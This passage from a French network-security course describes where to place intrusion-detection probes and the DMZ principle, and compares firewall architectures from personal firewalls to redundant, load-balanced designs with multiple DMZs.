sonde d’analyse réseau qui capture les trames réseau.

Le principe consiste à récupérer les données contenues dans la (ou les) trames
réseau et à les comparer aux signatures d’attaques contenues dans la base de
données du produit. Le traitement est réalisé à la volée et l’alerte est envoyée
aussitôt à l’administrateur sécurité.

Afin de recueillir des informations sur les attaques provenant de l’extérieur et de

l’intérieur, il est préférable de placer des sondes à différents endroits stratégiques
de l’architecture réseau. Quelques produits fournissent la possibilité de fusionner
les alarmes provenant de l’ensemble des sondes au sein d’un module
d’administration centralisée.

Le principal problème de la mise en œuvre d’un IDS réside dans son positionnement dans
l’architecture réseau.

• En tête de pont d’une interconnexion (c’est à dire devant le routeur/Firewall) :

L’IDS enregistrera toutes les tentatives d’intrusion, y compris celles qui auront
échoué parce que bloquées par l’élément de filtrage.

Si l’on désire manager cet élément à distance ou plus simplement remonter

les alarmes sur une console centrale disposée sur le réseau interne, il sera
nécessaire de laisser passer les flux d’administration et de journalisation au
travers de l’élément de filtrage ce qui peut fragiliser la sécurité de
l’interconnexion, en particulier si l’IDS est corrompu ; dans ce cas de figure,
en effet, il n’est pas protégé par l’élément de filtrage.

• En DMZ :

18
 L’IDS ne détectera que les tentatives d’intrusion ayant réussies à passer
l’élément de filtrage, mais pas celles qui seront restées « à la porte » de la
DMZ.

Si l’équipement de filtrage est corrompu, l’intrusion sur le réseau interne risque

de ne plus passer par la DMZ et restera indétecté.

• Sur le réseau Interne :

On détectera ici à la fois les agressions internes et externes, mais seules les
intrusions réussies et uniquement sur le réseau interne seront détectées.

Principe de la zone démilitarisée (DMZ)

Le principe de la zone démilitarisée (ou DMZ, pour DeMilitarized Zone) consiste en
un réseau « tampon » tel que l’ensemble des échanges entre un réseau interne et
un réseau externe transite par ce tampon.

L’objectif recherché est que tous les échanges passent par cette zone et qu’aucun
échange direct ne se fasse entre le réseau interne et le réseau externe.

La DMZ peut héberger un certain nombre de services publics (serveur WEB pour
l’externe, serveur FTP, etc.) ainsi que des serveurs relais pour les services inter
réseau (messagerie, annuaire, etc.).

Les services de sécurité offerts sont les suivants :

• Un filtrage réseau entre les différents réseaux ainsi interconnectés.

• Des serveurs relais dans la DMZ pour gérer le trafic interne/ externe.

• Des antivirus/ analyseurs de contenus pour journaliser les échanges et

décontaminer les données entrant ou sortants conformément à une politique de
sécurité.
• Des services publics et des serveurs relais permettant de masquer les services
et la topologie du réseau interne.

Ce type de solution s’avère très complet du point de vue de la sécurité. C’est une
architecture classique qui permet de mettre en œuvre une politique de sécurité
évoluée où les aspects de filtrage des échanges sont complétés par une analyse
fine de ces échanges ainsi que par des fonctions de journalisation / sauvegardes
des données transitant par le système d’interconnexion. Il est ainsi possible de
mettre en place des services dits publics à destination d’une communauté
extérieure au sein de la DMZ.

Ce principe de DMZ étant générique, il existe plusieurs possibilités d’implémentation d’une

telle zone.

Architectures types

Firewall Personnel

19
 La figure ci-contre montre un ordinateur équipé d’un Firewall
personnel et raccordé à l’Internet, par exemple par un lien modem. Le
Firewall personnel consiste en un programme spécifique, installé sur
la machine à protéger, limitant les connexions entrantes et sortantes.

L’avantage majeur d’un Firewall de ce type réside dans sa capacité à

reconnaître quelle application tente une connexion sortante. Il est
donc possible d’obtenir un filtrage particulièrement fin dans lequel on
peut, par exemple, n’autoriser qu’Internet Explorer ou Netscape
Navigator à réaliser des connexions sortantes sur les ports 80
(HTTP) et 443 (HTTPs). Dans ce cas de figure, un cheval de Troie ou
un ver programmé pour interroger des sites Web se verra bloqué par
le Firewall, sans pour autant interdire la navigation sur le Web par
l’utilisateur avec son navigateur préféré.

Ces solutions sont généralement équipées d’un module

d’apprentissage : par défaut le Firewall bloque toute connexion, mais
à chaque nouvelle connexion le Firewall demande à l’utilisateur s’il désire l’autoriser
ou
l’interdire, et s’il souhaite créer une règle permanente en ce sens.

Cette architecture permet d’obtenir un bon niveau de sécurité pour un particulier

souhaitant surfer sur le World Wide Web.

Cependant, quelques vulnérabilités peuvent être exploitées par des codes

malveillant afin de violer la politique de sécurité, comme par exemple la possibilité
offerte de piloter un processus autorisé (par API ou, mieux, par injection directe de
code dans l’espace mémoire du processus autorisé).

Firewall à double attachement

Dans ce type d’architecture, le Firewall est un équipement dédié, installé en

coupure entre un réseau interne et un réseau externe. Il s’agit de la solution
d’architecture la plus simple à mettre en œuvre, permettant la protection d’un sous
réseau complet, mais elle souffre de deux inconvénients :

Le Firewall est un élément critique de l’architecture, sa compromission entraîne la

compromission de tout le réseau interne,

Les connexions sortantes se font directement entre l’Internet et le réseau interne, ce qui
expose ce dernier à des attaques directes.

20
Passerelle filtre

Dans ce type d’architecture, on utilise un routeur filtrant (ou un Firewall) en coupure

entre les deux réseaux. Le principe de filtrage consiste à n’autoriser que le Firewall,
qui fait alors office de passerelle d’application, à communiquer avec l’extérieur.

Ainsi, les connexions sortantes et entrantes passent obligatoirement par un

équipement de filtrage applicatif. Encore une fois, l’équipement d’interconnexion
demeure un élément critique dans la sécurité d’ensemble du système.

Firewall et DMZ

Le principe de cette architecture consiste à séparer les ordinateurs communiquant

avec l’extérieur des autres machines. Le filtrage est réalisé de telle sorte que seules
les communications Internet/DMZ et DMZ/Réseau Interne sont autorisées, aucune
communication directe entre le réseau interne et l’Internet n’est donc possible.

Le Firewall doit disposer de trois attachements réseau. On positionne alors dans la

DMZ des serveurs (serveurs Web, passerelle de messagerie, DNS externe), et/ou
des Proxys permettant aux utilisateurs du réseau interne de se connecter à
l’extérieur.

21
La sécurité est mieux assurée que dans les architectures précédentes, mais le Firewall
reste toujours un élément critique

Double Firewall et DMZ

Dans cette architecture similaire à la précédente, on a choisi de positionner la DMZ

en « sandwich » entre deux Firewalls. Il s’agit ici de l’application stricte du principe
de défense en profondeur ; dans le cas d’une compromission du premier Firewall,
le réseau interne n’est pas directement accessible puisque protégé par le second
Firewall, seuls les éléments de la DMZ pouvant alors être attaqués.

Dans ce type d’architecture, il est recommandé d’utiliser deux Firewalls différents,

afin qu’une vulnérabilité exploitable sur l’un ne puisse être reproduite sur l’autre. On
peut également choisir un simple routeur filtrant comme élément de coupure entre
la DMZ et le réseau interne.

22
Solutions à DMZ multiples

Ce type de solution constitue une variante sécuritaire des deux précédentes, dans
laquelle on pousse la logique de cloisonnement à l’extrême : les machines devant
communiquer avec l’extérieur sont placées dans des DMZ différentes, en fonction
de leurs rôles.

Solution Basique à équilibrage de charge

Dans les solutions précédentes, deux menaces techniques n’étaient pas prises en compte
:

• En cas de panne d’un équipement, tout ou partie de l’architecture se retrouve

en position de déni de service,
• Ces architectures constituent un goulet d’étranglement pour ce qui concerne
les flux réseaux, une saturation de l’équipement d’interconnexion mène donc à
une rapide chute des performances.

Il est alors possible de mettre en œuvre un système de redondance des

équipements d’interconnexion, permettant alors d’assurer une contre-mesure
efficace aux deux problèmes précédemment décrits. La figure suivante montre un
exemple d’une telle architecture :

23
Dans le schéma présenté, tous les équipements sont redondés. Les switches
assurent d’une part une surveillance permanente des équipements auxquels ils
sont raccordés et, d’autre par, une surveillance mutuelle via le protocole VRPP
(Virtual Router Redondancy Protocol) sur une ligne dédiée. En cas de panne d’un
équipement, le système bascule automatiquement le routage vers les éléments
encore disponibles.

Les éléments actifs sont configurés pour rediriger le trafic en cas de saturation de la
bande passante d’un des équipements vers le second, ou en simple équilibrage de
charge. Nota : les réponses aux requêtes peuvent ne pas suivre le même chemin
que les requêtes qui les ont provoquées.

Ce type d’architecture peut ainsi résister à une série de pannes multiples (jusqu’à
50% des équipements), tout en équilibrant la bande passante. Le schéma suivant
montre le cheminement du trafic en cas de panne d’un routeur, d’un switch et d’un
Firewall :

24
Solutions Complètes à équilibrage de charge

La solution présentée précédemment ne constitue qu’une architecture « de base »

pour ce type de solution. Il reste toujours possible de compliquer à l’extrême
l’architecture en vue d’une sécurité maximale, voire paranoïaque, mais
l’administration d’ensemble du système se complique elle aussi très nettement.

Les schémas ci-dessous présentent de tels exemples d’architecture à équilibrage

de charge totalement redondée, incluant DMZ, VLAN d’administration et sonde de
détection d’intrusion.

25